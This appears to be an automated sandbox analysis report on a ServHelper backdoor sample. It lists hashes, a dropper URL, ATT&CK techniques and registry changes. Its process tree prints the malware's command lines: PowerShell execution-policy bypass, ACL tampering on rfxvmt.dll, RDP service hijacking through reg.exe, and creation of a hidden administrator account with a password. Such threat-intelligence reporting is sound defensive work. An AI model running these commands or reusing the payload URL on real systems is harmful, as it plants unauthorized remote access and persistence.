servhelper | 4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150

Analysis

max time kernel
79s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
01-02-2022 01:00

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General

Target

4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
Size

4.6MB
MD5

04eea56890bbc52dca52129a16167964
SHA1

cb202a349506896aac49ee46ceb8d1c66c23797d
SHA256

4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150
SHA512

22703fc48e0c109d02a3e8fc774bcfbe0390d54a19473985235b50ace594de1101de2379daced1a2cd08ff96884099bdf97c39988de6c2c814c40fe23143893c

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 10 IoCs

flow	pid	Process
51	3148	powershell.exe
53	3148	powershell.exe
54	3148	powershell.exe
55	3148	powershell.exe
56	3148	powershell.exe
58	3148	powershell.exe
60	3148	powershell.exe
62	3148	powershell.exe
64	3148	powershell.exe
66	3148	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1556	icacls.exe
3816	icacls.exe
3256	icacls.exe
3612	icacls.exe
3468	icacls.exe
3976	icacls.exe
1896	icacls.exe
3036	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001e799-187.dat	upx
behavioral2/files/0x0002000000021758-188.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1392	Process not Found
1392	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3036	takeown.exe
1556	icacls.exe
3816	icacls.exe
3256	icacls.exe
3612	icacls.exe
3468	icacls.exe
3976	icacls.exe
1896	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIBFA5.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIBFB5.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_p5d3pjss.ptl.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_n4ng2fj3.s32.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIBF56.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIBFC6.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIBFC7.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1284	reg.exe

Runs net.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	55	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	56	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	58	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	53	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	54	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
812	powershell.exe
812	powershell.exe
2276	powershell.exe
2276	powershell.exe
3404	powershell.exe
3404	powershell.exe
1736	powershell.exe
1736	powershell.exe
812	powershell.exe
812	powershell.exe
812	powershell.exe
3148	powershell.exe
3148	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeRestorePrivilege	3816	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	3740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeAuditPrivilege	3740	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeAuditPrivilege	3740	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3256	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3256	WMIC.exe
Token: SeAuditPrivilege	3256	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3256	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3256	WMIC.exe
Token: SeAuditPrivilege	3256	WMIC.exe
Token: SeDebugPrivilege	3148	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 812	3356	4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe	55
PID 3356 wrote to memory of 812	3356	4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe	55
PID 812 wrote to memory of 3540	812	powershell.exe	57
PID 812 wrote to memory of 3540	812	powershell.exe	57
PID 3540 wrote to memory of 204	3540	csc.exe	58
PID 3540 wrote to memory of 204	3540	csc.exe	58
PID 812 wrote to memory of 2276	812	powershell.exe	61
PID 812 wrote to memory of 2276	812	powershell.exe	61
PID 812 wrote to memory of 3404	812	powershell.exe	65
PID 812 wrote to memory of 3404	812	powershell.exe	65
PID 812 wrote to memory of 1736	812	powershell.exe	67
PID 812 wrote to memory of 1736	812	powershell.exe	67
PID 812 wrote to memory of 3036	812	powershell.exe	74
PID 812 wrote to memory of 3036	812	powershell.exe	74
PID 812 wrote to memory of 1556	812	powershell.exe	75
PID 812 wrote to memory of 1556	812	powershell.exe	75
PID 812 wrote to memory of 3816	812	powershell.exe	76
PID 812 wrote to memory of 3816	812	powershell.exe	76
PID 812 wrote to memory of 3256	812	powershell.exe	77
PID 812 wrote to memory of 3256	812	powershell.exe	77
PID 812 wrote to memory of 3612	812	powershell.exe	78
PID 812 wrote to memory of 3612	812	powershell.exe	78
PID 812 wrote to memory of 3468	812	powershell.exe	79
PID 812 wrote to memory of 3468	812	powershell.exe	79
PID 812 wrote to memory of 3976	812	powershell.exe	80
PID 812 wrote to memory of 3976	812	powershell.exe	80
PID 812 wrote to memory of 1896	812	powershell.exe	81
PID 812 wrote to memory of 1896	812	powershell.exe	81
PID 812 wrote to memory of 3848	812	powershell.exe	82
PID 812 wrote to memory of 3848	812	powershell.exe	82
PID 812 wrote to memory of 1284	812	powershell.exe	83
PID 812 wrote to memory of 1284	812	powershell.exe	83
PID 812 wrote to memory of 4068	812	powershell.exe	84
PID 812 wrote to memory of 4068	812	powershell.exe	84
PID 812 wrote to memory of 208	812	powershell.exe	86
PID 812 wrote to memory of 208	812	powershell.exe	86
PID 208 wrote to memory of 4012	208	net.exe	88
PID 208 wrote to memory of 4012	208	net.exe	88
PID 812 wrote to memory of 1796	812	powershell.exe	89
PID 812 wrote to memory of 1796	812	powershell.exe	89
PID 1796 wrote to memory of 3492	1796	cmd.exe	90
PID 1796 wrote to memory of 3492	1796	cmd.exe	90
PID 3492 wrote to memory of 3352	3492	cmd.exe	91
PID 3492 wrote to memory of 3352	3492	cmd.exe	91
PID 3352 wrote to memory of 1028	3352	net.exe	92
PID 3352 wrote to memory of 1028	3352	net.exe	92
PID 812 wrote to memory of 2384	812	powershell.exe	94
PID 812 wrote to memory of 2384	812	powershell.exe	94
PID 2384 wrote to memory of 2976	2384	cmd.exe	95
PID 2384 wrote to memory of 2976	2384	cmd.exe	95
PID 2976 wrote to memory of 4008	2976	cmd.exe	96
PID 2976 wrote to memory of 4008	2976	cmd.exe	96
PID 4008 wrote to memory of 3272	4008	net.exe	97
PID 4008 wrote to memory of 3272	4008	net.exe	97
PID 3380 wrote to memory of 3036	3380	cmd.exe	101
PID 3380 wrote to memory of 3036	3380	cmd.exe	101
PID 3036 wrote to memory of 816	3036	net.exe	102
PID 3036 wrote to memory of 816	3036	net.exe	102
PID 1556 wrote to memory of 2544	1556	cmd.exe	105
PID 1556 wrote to memory of 2544	1556	cmd.exe	105
PID 2544 wrote to memory of 3496	2544	net.exe	106
PID 2544 wrote to memory of 3496	2544	net.exe	106
PID 3976 wrote to memory of 2816	3976	cmd.exe	109
PID 3976 wrote to memory of 2816	3976	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
"C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\egokmwx5\egokmwx5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5050.tmp" "c:\Users\Admin\AppData\Local\Temp\egokmwx5\CSCF8E9615A1444085816B5D6ED10A846.TMP"
      4⤵
      PID:204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3036
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1556
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3256
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3612
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3468
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3976
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1896
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3848
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1284
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4068
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:4012
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3352
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1028
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4008
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3272
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2280
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3040

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe a3be4937b12c87cdfa21ce20e1ae7ada O/t/vqmvr0W6dqZWOuA7UQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1692

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:816

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc NJB8RZL8 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc NJB8RZL8 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc NJB8RZL8 /add
    3⤵
    PID:3496

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3976
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3500

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
1⤵
PID:1704
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
  2⤵
  PID:3892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
    3⤵
    PID:4068

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:4064
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
